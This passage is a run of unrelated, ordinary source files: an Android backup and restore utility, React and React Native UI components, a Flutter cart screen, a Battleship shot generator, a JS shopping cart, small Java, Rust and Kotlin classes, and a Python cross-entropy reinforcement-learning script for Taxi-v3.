name.lastIndexOf(".")); String text = FileUtil.fileToString(value.getAbsolutePath()); Map<String, Object> json = JSON.parseObject(text); Map<String, ?> old = PreferenceMgr.all(context, name); for (Map.Entry<String, ?> entry : json.entrySet()) { PreferenceMgr.put(context, name, entry.getKey(), entry.getValue()); } //key不存在的情况也要还原 for (Map.Entry<String, ?> entry : old.entrySet()) { if (!json.containsKey(entry.getKey())) { PreferenceMgr.remove(context, name, entry.getKey()); } } } } FileUtil.deleteDirs(rulesDir); } } catch (Throwable e) { e.printStackTrace(); } } public static void backupDBAndJs(Context context, boolean silence) { BackupUtil.backupDB(context, true); List<String> filePaths = new ArrayList<>(); String dbPath = UriUtils.getRootDir(context) + File.separator + "backup" + File.separator + BackupUtil.getDBFileNameWithVersion(); filePaths.add(dbPath); File jsDir = new File(JSManager.getJsDirPath()); if (!jsDir.exists()) { jsDir.mkdirs(); } File[] jsFiles = jsDir.listFiles(); if (jsFiles != null) { for (File jsFile : jsFiles) { filePaths.add(jsFile.getAbsolutePath()); } } scanFilesToPaths(context, filePaths); String zipFilePath = genBackupZipPath(context); try { File dir = new File(zipFilePath).getParentFile(); File[] files = dir != null ? dir.listFiles() : null; if (files != null) { for (File file : files) { if (file.getName().startsWith("youtoo") && file.getName().endsWith(".zip")) { file.delete(); } } } if (ZipUtils.zipFiles(filePaths, zipFilePath)) { if (!silence) { ToastMgr.shortBottomCenter(context, "备份成功!"); ShareUtil.findChooserToSend(context, "file://" + zipFilePath); } } } catch (Exception e) { e.printStackTrace(); new Handler(Looper.getMainLooper()) .post(() -> Toast .makeText(Application.application.getApplicationContext(), e.getLocalizedMessage(), Toast.LENGTH_SHORT) .show()); } } public static String genBackupZipPath(Context context) { return UriUtils.getRootDir(context) + File.separator + "backup" + File.separator + "youtoo" + "V" + CommonUtil.getVersionName(context) + ".zip"; } public static String findBackupZipPath(Context context) { String zipFilePath = genBackupZipPath(context); if (new File(zipFilePath).exists()) { return zipFilePath; } else { File dir = new File(zipFilePath).getParentFile(); File[] files = dir != null ? dir.listFiles() : null; if (files != null) { for (File file : files) { if (file.getName().startsWith("youtoo") && file.getName().endsWith(".zip")) { return file.getAbsolutePath(); } } } return zipFilePath; } } public static void backupDB(Context context, boolean silence) { File dbFile = context.getDatabasePath(getDBFileName()); Log.d(TAG, "backupDB: path==>" + dbFile.getAbsolutePath()); if (dbFile.exists()) { File exportDir = new File(UriUtils.getRootDir(context) + File.separator + "backup"); if (!exportDir.exists()) { boolean ok = exportDir.mkdirs(); if (!ok) { ToastMgr.shortBottomCenter(context, "创建备份文件夹失败"); return; } } File backup = new File(exportDir, getDBFileNameWithVersion()); try { if (backup.exists()) { boolean del = backup.delete(); if (!del) { ToastMgr.shortBottomCenter(context, "删除旧数据库文件失败"); return; } } boolean ok = backup.createNewFile(); if (!ok) { ToastMgr.shortBottomCenter(context, "创建新数据库文件失败"); return; } FileUtil.copyFile(dbFile.getAbsolutePath(), backup.getAbsolutePath()); if (!silence) { ToastMgr.shortBottomCenter(context, "备份成功!"); ShareUtil.findChooserToSend(context, "file://" + backup.getAbsolutePath()); } } catch (Exception e) { DebugUtil.showErrorMsg((Activity) context, "数据库备份出错", e); } } else { ToastMgr.shortBottomCenter(context, "数据库文件不存在"); } } public static void backupDB(Context context) { backupDB(context, false); } public static void recoveryDBAndJsNow(Context context){ String zipFilePath = findBackupZipPath(context); try { String fileDirPath = UriUtils.getRootDir(context) + File.separator + "backup" + File.separator + "youtoo"; FileUtil.deleteDirs(fileDirPath); new File(fileDirPath).mkdirs(); ZipUtils.unzipFile(zipFilePath, fileDirPath); recoverPrefs(context, fileDirPath); String dbFilePath = fileDirPath + File.separator + BackupUtil.getDBFileNameWithVersion(); File dbFile = new File(dbFilePath); String dbNewFilePath = UriUtils.getRootDir(context) + File.separator + "backup" + File.separator + BackupUtil.getDBFileNameWithVersion(); File jsFile = new File(fileDirPath); File[] jsFiles = jsFile.listFiles(); boolean dbExist = dbFile.exists(); int jsFileNum = 0; if (dbExist) { FileUtil.copyFile(dbFile.getAbsolutePath(), dbNewFilePath); } if (jsFiles != null) { for (File jsFilePath : jsFiles) { if (!jsFilePath.getName().endsWith(".js")) { jsFilePath.delete(); } else { jsFileNum++; } } } FileUtil.deleteDirs(JSManager.getJsDirPath()); FileUtil.copyDirectiory(JSManager.getJsDirPath(), jsFile.getAbsolutePath()); int finalJsFileNum = jsFileNum; String title = ""; if (!dbExist) { title = "已恢复" + finalJsFileNum + "个JS插件,没有获取到适合当前版本的db文件"; } else { title = "已恢复" + finalJsFileNum + "个JS插件,是否立即恢复db文件(包括首页规则、历史记录、收藏等)?"; } new XPopup.Builder(context) .asConfirm("恢复完成", title, () -> { if (dbExist) { BackupUtil.recoveryDBNow(context); } }).show(); } catch (IOException e) { e.printStackTrace(); } } public static void recoveryDBAndJs(Context context) { String zipFilePath = findBackupZipPath(context); new PromptDialog(context) .setTitleText("风险提示") .setSpannedContentByStr("确定从备份文件(" + zipFilePath + ")恢复数据吗?当前支持的数据库版本为" + LitePal.getDatabase().getVersion() + ",注意“如果备份和恢复时的数据库版本不一致会导致软件启动闪退!”") .setPositiveListener("确定恢复", dialog1 -> { dialog1.dismiss(); recoveryDBAndJsNow(context); }).show(); } public static void recoveryDB(Context context) { String filePath = UriUtils.getRootDir(context) + File.separator + "backup" + File.separator + getDBFileNameWithVersion(); new PromptDialog(context) .setTitleText("风险提示") .setSpannedContentByStr("确定从备份文件(" + filePath + ")恢复数据吗?当前支持的数据库版本为" + LitePal.getDatabase().getVersion() + ",注意“如果备份和恢复时的数据库版本不一致会导致软件启动闪退!”") .setPositiveListener("确定恢复", dialog1 -> { dialog1.dismiss(); recoveryDBNow(context); }).show(); } public static void recoveryDBNow(Context context) { synchronized (LitePal.class) { LitePal.getDatabase().close(); File exportDir = new File(UriUtils.getRootDir(context) + File.separator + "backup"); if (!exportDir.exists()) { boolean ok = exportDir.mkdirs(); if (!ok) { ToastMgr.shortBottomCenter(context, "创建备份文件夹失败"); return; } } File backup = new File(exportDir, getDBFileNameWithVersion()); if (backup.exists()) { File dbFile = context.getDatabasePath(getDBFileName()); if (dbFile.exists()) { boolean del = dbFile.delete(); if (!del) { ToastMgr.shortBottomCenter(context, "删除旧数据库文件失败"); return; } } try { boolean ok = dbFile.createNewFile(); if (!ok) { ToastMgr.shortBottomCenter(context, "创建新数据库文件失败"); return; } FileUtil.copyFile(backup.getAbsolutePath(), dbFile.getAbsolutePath()); new PromptDialog(context) .setDialogType(PromptDialog.DIALOG_TYPE_SUCCESS) .setContentText("从备份恢复成功!开始重启软件使生效!") .setTheCancelable(false) .setAnimationEnable(true) .setTitleText("温馨提示") .setPositiveListener("立即重启", dialog -> { dialog.dismiss(); android.os.Process.killProcess(android.os.Process.myPid()); System.exit(0); }).show(); } catch (Exception e) { DebugUtil.showErrorMsg((Activity) context, "数据库恢复备份出错", e); } } else { ToastMgr.shortBottomCenter(context, backup.getAbsolutePath() + "数据库文件不存在"); } } } public static String getDBFileNameWithVersion() { return "youtoo_" + LitePal.getDatabase().getVersion() + ".db"; } private static String getDBFileName() { return "hiker.db"; } }
import React from 'react'; import { View, Text, Image, Dimensions, TouchableOpacity, TextInput, Spin } from 'react-native'; import Header from '../../commons/Header'; import Footer from '../../commons/Footer'; import { Actions } from 'react-native-router-flux'; import { connect } from 'react-redux'; import stylesCommon from '../../../styles'; import { Ionicons } from '@expo/vector-icons'; import { takeImage, uploadImageAsync } from '../../../utils/uploadImage'; import { URL } from '../../../../env'; import { ADD_CATEGORY, ADD_CATEGORY_PENDING, CATEGORY_CHANGE_FAIL, CATEGORY_CHANGE_SUCCESS, } from '../../../actions'; import { AddNewCategory, CategoryChange, resetData} from '../../../actions/categoryActions'; import { AppLoading } from 'expo'; import { Spinner } from '../../commons/Spinner'; class CategoryNew extends React.Component { state = { Name: '', Description: '', ImageUrl: null, uploading: false } componentWillMount() { this.props.resetData(); } async onSelectImage() { const pickerResult = await takeImage(); this.setState({ uploading: true }); if (!pickerResult.cancelled) { this.props.CategoryChange({ prop: "ImageUrl", value: pickerResult.uri }); this.setState({ ImageUrl: pickerResult.uri, uploading: false }); } } onSavePress() { const { error, Name, Description, ImageUrl, AddNewCategory, loading } = this.props; AddNewCategory({ Name, Description, ImageUrl }); } renderButton() { if (this.props.loading) { return ( <Spinner size='small' /> ); } return ( <View style={styles.FooterGroupButton}> <TouchableOpacity disabled={this.props.loading} onPress={this.onSavePress.bind(this)} style={[styles.Btn, styles.footerBtn]} > <Ionicons name="ios-checkmark-circle" size={25} color="#FFFFFF" /> <Text style={styles.titleButton}>Lưu</Text> </TouchableOpacity> <TouchableOpacity disabled={this.props.loading} style={[styles.Btn, styles.footerBtn]}> <Ionicons name="ios-close-circle-outline" size={25} color="#FFFFFF" /> <Text style={styles.titleButton}>Hủy</Text> </TouchableOpacity> <TouchableOpacity disabled={this.props.loading} style={[styles.Btn, styles.footerBtn]} onPress={() => Actions.productList()}> <Ionicons name="ios-folder-open-outline" size={25} color="#FFFFFF" /> <Text style={styles.titleButton}>DS Sản Phẩm</Text> </TouchableOpacity> </View> ) } renderImage() { if (this.props.ImageUrl) { return (<Image style={styles.itemImage} source={{ uri: this.props.ImageUrl }} />); } return null; } render() { const { error, Name, Description, ImageUrl, loading, CategoryChange } = this.props; return ( <View style={styles.container}> <Header> <Text style={styles.headTitle}>Nhóm Sản Phẩm</Text> </Header> <View style={styles.body}> <View style={styles.card}> <View style={styles.controlContainer}> <Text style={styles.label} >Tên Nhóm Sản Phẩm</Text> <View style={styles.groupControl}> <TextInput disableFullscreenUI underlineColorAndroid={'transparent'} style={styles.textInput} blurOnSubmit value={Name} onChangeText={text => CategoryChange({ prop: "Name", value: text })} type="Text" name="Name" placeholder="Điền tên nhóm sản phẩm:" /> {error && <Text style={styles.errorStyle}>{error.Name}</Text>} </View> <View style={styles.controlContainer}> <Text style={styles.label} >Mô tả</Text> <View style={styles.groupControl}> <TextInput multiline numberOfLines={8} disableFullscreenUI underlineColorAndroid={'transparent'} style={styles.textInput} blurOnSubmit value={Description} onChangeText={text => CategoryChange({ prop: "Description", value: text })} type="Text" name="Description" placeholder="Mô tả sản phẩm" /> {error && <Text style={styles.errorStyle}>{error.Description}</Text>} </View> </View> {this.renderImage()} <View > { this.props.loading ? <Spinner size='small' /> : <TouchableOpacity style={styles.Btn} onPress={this.onSelectImage.bind(this)}> <Text style={styles.titleButton}>Chọn Ảnh</Text> </TouchableOpacity>} </View> </View> </View> </View> <Footer> {this.renderButton()} </Footer> </View> ); } } const widthScreen = Dimensions.get('window').width; const widthImage = widthScreen - 25; const styles = { container: stylesCommon.container, body: stylesCommon.body, headTitle: stylesCommon.headTitle, card: { shadowColor: '#000000', shadowOffset: { width: 1, height: 3 }, borderColor: '#FFFFFF', borderWidth: 1, borderRadius: 5, shadowOpacity: 0.1, marginTop: 5, backgroundColor: '#FFFFFF' }, InputContainer: { paddingBottom: 30, }, controlContainer: { padding: 5, justifyContent: 'center', }, groupControl: { borderRadius: 5, borderWidth: 1, marginBottom: 10, marginTop: 5, padding: 5, borderColor: 'rgba(41, 128, 185,1.0)', backgroundColor: '#ecf0f1' }, textInput: { color: '#000000', fontSize: 16 }, errorStyle: { color: 'rgba(231, 76, 60,1.0)', fontSize: 18 }, label: { fontSize: 18, color: '#34495e', fontWeight: '500' }, titleButton: { fontSize: 16, fontWeight: '500', paddingBottom: 5, paddingTop: 5, paddingLeft: 10, color: '#FFFFFF' }, Btn: { flexDirection: 'row', justifyContent: 'center', alignItems: 'center', backgroundColor: '#27ae60', padding: 3, paddingRight: 15, paddingLeft: 15, borderRadius: 5, }, itemImage: { width: widthImage, height: (widthImage * 0.45), marginBottom: 15, marginTop: 5 }, footerBtn: { marginRight: 3, marginLeft: 3 }, FooterGroupButton: { // flex: 1, flexDirection: 'row', justifyContent: 'space-between', } }; const mapStateToProps = (state, ownProps) => { const { Name, Description, ImageUrl, loading } = state.newCategory; return { Name, Description, ImageUrl, loading } } export default connect(mapStateToProps, { AddNewCategory, CategoryChange, resetData })(CategoryNew);
import 'package:flutter/material.dart'; import 'package:provider/provider.dart'; import 'package:shop/src/ui/widgets/cart_item.dart'; import 'package:shop/src/domain/models/cart.dart'; import 'package:shop/src/domain/models/order_list.dart'; class CartScreen extends StatelessWidget { const CartScreen({super.key}); @override Widget build(BuildContext context) { final Cart cart = Provider.of<Cart>(context); final items = Provider.of<Cart>(context).items.values.toList(); return Scaffold( appBar: AppBar( title: const Text('Carrinho'), ), body: Column( children: [ Card( margin: const EdgeInsets.symmetric(horizontal: 15, vertical: 25), shape: ContinuousRectangleBorder( borderRadius: BorderRadius.circular(5), ), surfaceTintColor: Colors.white, child: Padding( padding: const EdgeInsets.all(15), child: Row( children: [ Text('Total', style: Theme.of(context).textTheme.bodyLarge), const SizedBox(width: 10), Chip( backgroundColor: Theme.of(context).colorScheme.primary, shape: ContinuousRectangleBorder( borderRadius: BorderRadius.circular(25), ), label: Text( 'R\$ ${cart.totalAmount.toStringAsFixed(2)}', style: const TextStyle( fontFamily: 'Lato', fontSize: 15, color: Colors.white, ), ), ), const Spacer(), BuyButton(cart: cart), ], ), ), ), Expanded( child: ListView.builder( itemCount: items.length, itemBuilder: (context, index) => CartItemWidget(cartItem: items[index]), ), ), ], ), ); } } class BuyButton extends StatefulWidget { const BuyButton({ super.key, required this.cart, }); final Cart cart; @override State<BuyButton> createState() => _BuyButtonState(); } class _BuyButtonState extends State<BuyButton> { bool isLoading = false; @override Widget build(BuildContext context) { return isLoading ? const CircularProgressIndicator() : TextButton( onPressed: widget.cart.itemsCount == 0 ? null : () async { setState(() => isLoading = true); await Provider.of<OrderList>(context, listen: false) .addOrder(widget.cart); widget.cart.clear(); setState(() => isLoading = false); }, child: const Text( 'COMPRAR', style: TextStyle( fontFamily: 'Lato', fontWeight: FontWeight.bold, ), ), ); } }
package cs3500.pa04.model; import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.Set; /** * The AutoAttacks class provides methods for generating and validating automated attacks */ public class AutoAttacks { public static int numOfShips; private List<Coord> shotTracker = new ArrayList<>(); private List<Coord> successfulShots = new ArrayList<>(); public static int totalShots; int tilesAttacked = 0; /** * Sets successful shots to the given list of shots * * @param shots list of shots to set */ public void setSuccessfulShots(List<Coord> shots) { this.successfulShots = shots; } /** * Returns the number of unique ships present on the board. * * @param board the game board represented as a 2D integer array * @return the number of unique ships */ public static int getNumOfShips(int[][] board) { totalShots = 0; Set<Integer> uniqueIntegers = new HashSet<>(); int rowCounter = 0; int colCounter = 0; for (int[] row : board) { rowCounter = board.length; for (int num : row) { colCounter = row.length; if (num > 0) { uniqueIntegers.add(num); } } } totalShots = rowCounter * colCounter; numOfShips = uniqueIntegers.size(); return numOfShips; } /** * Generates a list of coordinates for automated attacks. * The number of generated coordinates is equal to the number of ships on the board. * * @param board the game board represented as a 2D integer array * @return a list of coordinates representing automated attacks */ public List<Coord> listOfShots(int[][] board, Randomable randomable) { ArrayList<Coord> attacks = new ArrayList<>(); int randomShots; int shots; int shotsLeft = totalShots - tilesAttacked; int shipsLeft = numOfShips; if (shotsLeft < shipsLeft) { shots = shotsLeft; } else { shots = shipsLeft; } if (successfulShots == null) { randomShots = shots; } else { randomShots = shots - successfulShots.size(); // another loop for successful shots for (Coord coord : successfulShots) { boolean validShot = false; while (!validShot) { if (hasValidAdjacent(board, coord)) { Coord adjacentCoord = generateAdjacentShot(board, coord); if (contains(adjacentCoord)) { Coord randomCoord = generateRandomShot(board, randomable); if (contains(randomCoord)) { // do nothing } else { attacks.add(randomCoord); shotTracker.add(randomCoord); validShot = true; } } else { attacks.add(adjacentCoord); shotTracker.add(adjacentCoord); validShot = true; } } else { Coord randomCoord = generateRandomShot(board, randomable); if (contains(randomCoord)) { // do nothing } else { attacks.add(randomCoord); shotTracker.add(randomCoord); validShot = true; } } } } } for (int i = 0; i < randomShots; i++) { boolean validShot = false; while (!validShot) { Coord randomCoord = generateRandomShot(board, randomable); if (contains(randomCoord)) { // do nothing } else { attacks.add(randomCoord); shotTracker.add(randomCoord); validShot = true; } } } for (Coord attack : attacks) { this.shotTracker.add(attack); } tilesAttacked = tilesAttacked + attacks.size(); return attacks; } /** * Generates a coordinate based on the given coord * Only runs after checking if coord has valid adjacent * * @param board the game board represented as a 2D integer array * @param coord the given coord from a successful shot * @return an adjacent coord to the given coord */ public Coord generateAdjacentShot(int[][] board, Coord coord) { Coord adjacentCoord = null; boolean validShot = false; Coord rightCoord; Coord bottomCoord; Coord leftCoord; Coord topCoord; while (!validShot) { if (coord.getX() != 0) { leftCoord = new Coord(coord.getX() - 1, coord.getCoordY()); if (!contains(leftCoord)) { adjacentCoord = leftCoord; validShot = true; } } if (coord.getX() != board.length - 1) { rightCoord = new Coord(coord.getX() + 1, coord.getCoordY()); if (!contains(rightCoord)) { adjacentCoord = rightCoord; validShot = true; } } if (coord.getCoordY() != 0) { topCoord = new Coord(coord.getX(), coord.getCoordY() - 1); if (!contains(topCoord)) { adjacentCoord = topCoord; validShot = true; } } if (coord.getCoordY() != board.length - 1) { bottomCoord = new Coord(coord.getX(), coord.getCoordY() + 1); if (!contains(bottomCoord)) { adjacentCoord = bottomCoord; validShot = true; } } } return adjacentCoord; } /** * Generates a random coordinate on the board given a board * * @param board the game board represented as a 2D integer array * @return returns a random coordinate on the board */ public Coord generateRandomShot(int[][] board, Randomable randomable) { Coord coord = null; for (int row = 0; row < board.length; row++) { for (int col = 0; col < board[row].length; col++) { int randX = randomable.nextInt(board[row].length); int randY = randomable.nextInt(board.length); coord = new Coord(randX, randY); } } return coord; } /** * Determines whether the given coord is contained within the list of coords in shotTracker * * @param coord the given coord to check against the list of coords in shotTracker * @return returns a boolean */ public boolean contains(Coord coord) { boolean containsCoord = false; boolean checkedAll = false; while (!checkedAll) { for (Coord c : this.shotTracker) { if (coord.getX() == c.getX() && coord.getCoordY() == c.getCoordY()) { containsCoord = true; } } checkedAll = true; } return containsCoord; } public void setShotTracker(List<Coord> shots) { this.shotTracker = shots; } /** * Determines whether the given coord has an adjacent coord that has not already been shot * * @param board the game board represented as a 2D integer array * @param coord a successful shot * @return returns a boolean depending on if the given coord has an adjacent */ public boolean hasValidAdjacent(int[][] board, Coord coord) { Coord rightCoord; Coord bottomCoord; Coord leftCoord; Coord topCoord; Coord invalidCoord = new Coord(20, 20); boolean validAdjacent; if (coord.getX() != 0) { leftCoord = new Coord(coord.getX() - 1, coord.getCoordY()); } else { leftCoord = invalidCoord; } if (coord.getX() != board.length - 1) { rightCoord = new Coord(coord.getX() + 1, coord.getCoordY()); } else { rightCoord = invalidCoord; } if (coord.getCoordY() != 0) { topCoord = new Coord(coord.getX(), coord.getCoordY() - 1); } else { topCoord = invalidCoord; } if (coord.getCoordY() != board.length - 1) { bottomCoord = new Coord(coord.getX(), coord.getCoordY() + 1); } else { bottomCoord = invalidCoord; } if ((contains(leftCoord) || leftCoord.equals(invalidCoord)) && (contains(rightCoord) || rightCoord.equals(invalidCoord)) && (contains(topCoord) || topCoord.equals(invalidCoord)) && (contains(bottomCoord) || bottomCoord.equals(invalidCoord))) { validAdjacent = false; } else { validAdjacent = true; } return validAdjacent; } }
import React from "react"; import "../css/ChannelWindow.css"; import { Message } from "./Message"; import styled from "styled-components"; import QuitButton from "./QuitButton"; const DivChannel = styled.div` margin: 0% auto; display: flex; flex-direction: row; `; const TitreChannel = styled.h3` margin: 1% auto; `; const BoutonRename = styled.div` display: flex; float: right; background-color: lightblue; height: 10px; width: 10px; border: 0.5px white solid; border-radius: 50%; justify-content: center; cursor: pointer; `; const AddChannelTitle = styled.p` font-weight: bold; margin-top: 0; `; const SendName = styled.button` content: "Send"; height: 2rem; width: 5rem; background-color: #4db6ac; border-radius: 30px; border: 2px solid white; margin: 0 auto 3% auto; cursor: pointer; `; const Input = styled.input` type: text; margin: 0 auto 2% auto; height: 1.5rem; width: 80%; background-color: lightgrey; border: 1px solid white; border-radius: 30px; text-align: center; font-size: 1rem; `; export class MessagesPanel extends React.Component { state = { input_value: "" }; send = (event) => { event.preventDefault(); if (this.state.input_value && this.state.input_value != "") { this.props.onSendMessage( this.props.channel._id, this.props.channel.name, this.state.input_value ); this.setState({ input_value: "" }); } setTimeout(this.ScrollDown, 100); }; ScrollDown() { if (document.getElementById("message_list")) { let element = document.getElementById("message_list"); element.scrollTop = element.scrollHeight; } } PopupOption = (id) => { document.getElementById(id)?.classList.remove("invisible"); }; quit = (id) => { document.getElementById(id)?.classList.add("invisible"); }; RenameChannel = () => { let name = document.getElementById("input_rename").value; let data = { id: this.props.channel._id, name: name, username: localStorage.getItem("name"), }; this.props.socket.emit("renameChannel", data); }; handleInput = (e) => { this.setState({ input_value: e.target.value }); }; render() { let list = ( <div className="no-content-message">There is no messages to show</div> ); if (this.props.channel && this.props.channel.messages) { list = this.props.channel.messages.map((m) => ( <Message key={m.id} id={m.id} senderName={m.senderName} text={m.text} /> )); } return ( <div id="ChannelWindow" className="ChannelWindow"> {this.props.channel ? ( <DivChannel> <TitreChannel>{this.props.channel?.name}</TitreChannel> <BoutonRename onClick={() => this.PopupOption("RenameChannel")} ></BoutonRename> </DivChannel> ) : null} <div id="message_list" className="messages-list"> {list} </div> {this.props.channel && ( <form onSubmit={this.send} className="ChatBar"> <input type="text" onChange={this.handleInput} className="mess-input" value={this.state.input_value} placeholder="Message" /> <button type="submit" onClick={this.send} className="send-btn" ></button> </form> )} <div id="RenameChannel" className="rename invisible"> <QuitButton quit={() => this.quit("RenameChannel")} /> <AddChannelTitle>New channel name :</AddChannelTitle> <Input id="input_rename"></Input> <SendName onClick={() => { this.RenameChannel(); this.quit("RenameChannel"); }} > Send </SendName> </div> </div> ); } }
import { HTMLAttributes } from 'react'; import styled, { css } from 'styled-components'; const visibleStyle = css` display: block; will-change: transform, opacity; `; interface StickyProps extends HTMLAttributes<HTMLElement> { isVisible: boolean; } export const StickyElement = styled.div<StickyProps>` display: none; position: fixed; left: 0; width: 100%; ${(props) => props.isVisible && visibleStyle} `; interface CanvasProps extends HTMLAttributes<HTMLCanvasElement> { opacity?: number; scale?: number; } export const Canvas = styled.canvas<CanvasProps>` position: absolute; top: 50%; left: 50%; opacity: ${(props) => props.opacity ?? 1}; transform: translate3d(-50%, -50%, 0) scale(${(props) => props.scale ?? 1}); `;
// Product data const products = [ { id: 1, name: "Product 1", price: 10 }, { id: 2, name: "Product 2", price: 20 }, { id: 3, name: "Product 3", price: 30 }, { id: 4, name: "Product 4", price: 40 }, { id: 5, name: "Product 5", price: 50 }, ]; // DOM elements const productList = document.getElementById("product-list"); const cartList = document.getElementById("cart-list"); const cartTotal = document.getElementById("cart-total"); const clearCartButton = document.getElementById("clear-cart-btn"); // Initialize the cart array and session storage let cart = JSON.parse(sessionStorage.getItem("cart")) || []; // Render product list function renderProducts() { products.forEach((product) => { const li = document.createElement("li"); li.innerHTML = `${product.name} - $${product.price} <button class="add-to-cart-btn" data-id="${product.id}">Add to Cart</button>`; productList.appendChild(li); }); } // Render cart list function renderCart() { cartList.innerHTML = ""; let total = 0; cart.forEach((cartItem) => { const product = products.find((item) => item.id === cartItem.id); if (product) { const li = document.createElement("li"); li.innerHTML = `${product.name} - $${product.price} <button class="remove-from-cart-btn" data-id="${product.id}">Remove</button>`; cartList.appendChild(li); total += product.price; } }); cartTotal.textContent = total; } // Add item to cart function addToCart(productId) { const productExistsInCart = cart.some((item) => item.id === productId); if (!productExistsInCart) { cart.push({ id: productId }); sessionStorage.setItem("cart", JSON.stringify(cart)); renderCart(); } } // Remove item from cart function removeFromCart(productId) { const productIndex = cart.findIndex((item) => item.id === productId); if (productIndex !== -1) { cart.splice(productIndex, 1); sessionStorage.setItem("cart", JSON.stringify(cart)); renderCart(); } } // Clear cart function clearCart() { cart = []; sessionStorage.removeItem("cart"); renderCart(); } // Event listeners productList.addEventListener("click", (event) => { if (event.target.classList.contains("add-to-cart-btn")) { const productId = parseInt(event.target.getAttribute("data-id")); addToCart(productId); } }); cartList.addEventListener("click", (event) => { if (event.target.classList.contains("remove-from-cart-btn")) { const productId = parseInt(event.target.getAttribute("data-id")); removeFromCart(productId); } }); clearCartButton.addEventListener("click", clearCart); // Initial render renderProducts(); renderCart();
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package com.cyberspace.tema7; import java.util.Objects; /** * * @author ariel.villarreal */ public class Persona implements Comparable<Persona>{ int id; String nombre; int edad; public Persona(int id, String nombre, int edad){ this.id = id; this.nombre = nombre; this.edad = edad; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getNombre() { return nombre; } public void setNombre(String nombre) { this.nombre = nombre; } public int getEdad() { return edad; } public void setEdad(int edad) { this.edad = edad; } @Override public int hashCode() { int hash = 3; hash = 17 * hash + this.id; hash = 17 * hash + Objects.hashCode(this.nombre); hash = 17 * hash + this.edad; return hash; } @Override public boolean equals(Object obj) { if (obj == null) { return false; } if (getClass() != obj.getClass()) { return false; } final Persona other = (Persona) obj; if (this.id != other.id) { return false; } if (!Objects.equals(this.nombre, other.nombre)) { return false; } if (this.edad != other.edad) { return false; } return true; } @Override public int compareTo(Persona per) { return this.edad - per.getEdad(); } @Override public String toString() { return "Persona{" + "id=" + id + ", nombre=" + nombre + ", edad=" + edad + '}'; } }
// run-pass macro_rules! foo { ($l:lifetime) => { fn f(arg: &$l str) -> &$l str { arg } } } pub fn main() { foo!('static); let x: &'static str = f("hi"); assert_eq!("hi", x); } // ferrocene-annotations: fls_xa7lp0zg1ol2 // Declarative Macros // // ferrocene-annotations: fls_yqcygq3y6m5j // Lifetime // // ferrocene-annotations: fls_wjldgtio5o75 // Macro Expansion // // ferrocene-annotations: fls_vnvt40pa48n8 // Macro Invocation // // ferrocene-annotations: fls_4apk1exafxii // Macro Matching // // ferrocene-annotations: fls_ym00b6ewf4n3 // Macro Transcription // // ferrocene-annotations: fls_8nzypdu9j3ge // Metavariables // // ferrocene-annotations: fls_n3ktmjqf87qb // Rule Matching // // ferrocene-annotations: fls_qpx6lgapce57 // Token Matching
package edu.temple.imageactivitylauncher import android.content.Intent import androidx.appcompat.app.AppCompatActivity import android.os.Bundle import androidx.recyclerview.widget.GridLayoutManager import androidx.recyclerview.widget.RecyclerView class SelectionActivity : AppCompatActivity() { companion object { val ITEM_KEY = "key" } override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.selection_activity_main) val imageData = createDogList() val recyclerView = findViewById<RecyclerView>(R.id.recyclerView) recyclerView.layoutManager = GridLayoutManager(this, 3) val handleClick = { item: ImageData -> val launchIntent = Intent(this, DisplayActivity::class.java) .putExtra(ITEM_KEY, item) startActivity(launchIntent) } recyclerView.adapter = ImageAdapter(imageData, handleClick) } private fun createDogList(): Array<ImageData> { val dogNames = resources.getStringArray(R.array.names) return arrayOf( ImageData(R.drawable.d0,dogNames[0]), ImageData(R.drawable.d1,dogNames[1]), ImageData(R.drawable.d2,dogNames[2]), ImageData(R.drawable.d3,dogNames[3]), ImageData(R.drawable.d4,dogNames[4]), ImageData(R.drawable.d5,dogNames[5]), ImageData(R.drawable.d6,dogNames[6]), ImageData(R.drawable.d7,dogNames[7]), ImageData(R.drawable.d8,dogNames[8]), ImageData(R.drawable.d9,dogNames[9]) ) } }
import gym import numpy as np import random import time import matplotlib.pyplot as plt env = gym.make('Taxi-v3') state_n = 500 action_n = 6 class CrossEntropyAgent(): def __init__(self, state_n, action_n, model = None): self.state_n = state_n self.action_n = action_n if(model): self.model = model.copy else: self.model = np.ones((self.state_n, self.action_n)) / self.action_n def get_action(self, state, _model = None): model = self.model if(isinstance(_model,np.ndarray)): model = self.model action = np.random.choice(np.arange(self.action_n), p=model[state]) return int(action) def sample_determ_model(self, model): res = np.zeros(model.shape) for state in range(model.shape[0]): action = np.random.choice(np.arange(model.shape[1]), p=model[state]) res[state,action] = 1 return res def fit(self, elite_trajectories, update_type = 'rewrite', update_coef = 0): new_model = np.zeros((self.state_n, self.action_n)) for trajectory in elite_trajectories: for state, action in zip(trajectory['states'], trajectory['actions']): new_model[state][action] += 1 for state in range(self.state_n): if np.sum(new_model[state]) > 0: if(update_type == 'Laplace'): new_model[state] += update_coef new_model[state] /= (np.sum(new_model[state]) + update_coef*action_n) else: new_model[state] /= np.sum(new_model[state]) else: new_model[state] = self.model[state].copy() if(update_type == 'rewrite' or update_type == 'Laplace'): self.model = new_model if(update_type == 'Policy'): self.model = self.model*update_coef + new_model*(1 - update_coef) return None def get_state(obs): return obs def get_trajectory(env, agent, model = None, max_len=1000, visualize=False): trajectory = {'states': [], 'actions': [], 'rewards': []} obs = env.reset() state = get_state(obs) for _ in range(max_len): trajectory['states'].append(state) action = agent.get_action(state, model) trajectory['actions'].append(action) obs, reward, done, _ = env.step(action) trajectory['rewards'].append(reward) state = get_state(obs) if visualize: time.sleep(0.5) env.render() if done: break return trajectory agent = CrossEntropyAgent(state_n, action_n) q_param = 0.6 iteration_n = 100 trajectory_n_per_realisation = 20 samples_number = 400 hist = [] for iteration in range(iteration_n): #policy evaluation trajectories = [] for realisation in range(samples_number): model = agent.sample_determ_model(agent.model) trajectories_r = [get_trajectory(env, agent, model) for _ in range(trajectory_n_per_realisation)] trajectories.append(trajectories_r) total_rewards = [] for realisation in trajectories: total_rewards.append(np.mean([np.sum(trajectory['rewards']) for trajectory in realisation])) print('iteration:', iteration, 'mean total reward:', np.mean(total_rewards)) hist.append(np.mean(total_rewards)) #policy improvement quantile = np.quantile(total_rewards, q_param) elite_trajectories = [] for realisation in trajectories: total_reward = np.mean([np.sum(trajectory['rewards']) for trajectory in realisation]) if total_reward > quantile: elite_trajectories.extend(realisation) 